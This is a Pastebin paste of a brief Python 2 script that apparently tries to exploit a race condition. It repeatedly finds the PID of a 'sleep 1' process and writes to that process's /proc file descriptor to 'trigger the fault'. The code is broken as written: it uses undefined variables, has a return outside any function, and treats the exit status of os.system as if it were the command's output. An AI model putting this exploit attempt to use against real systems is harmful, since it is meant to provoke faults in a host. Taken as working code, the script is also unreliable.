Advertisement
Guest User

Untitled

a guest
Feb 1st, 2015
183
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.69 KB | None | 0 0
  1. import os
  2. import time
  3. import random
  4. #infinite loop
  5. while (i == 0):
  6. os.system("sleep 1")
  7. while (x == 0):
  8. time.sleep(random.random()) #random int 0.0-1.0
  9. pid = str(os.system("ps -efl | grep 'sleep 1' | grep -v grep | { read PID REST ; echo $PID; }"))
  10. if (pid == 0): #need an active pid, race condition applies
  11. print "[+] Didnt grab PID, got: " + pid + " -- Retrying..."
  12. return
  13. else:
  14. print "[+] PID: " + pid
  15. loc = "echo n > /proc/" + pid + "/fd/1"
  16. os.system(loc) # triggers the fault, runs via sh
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement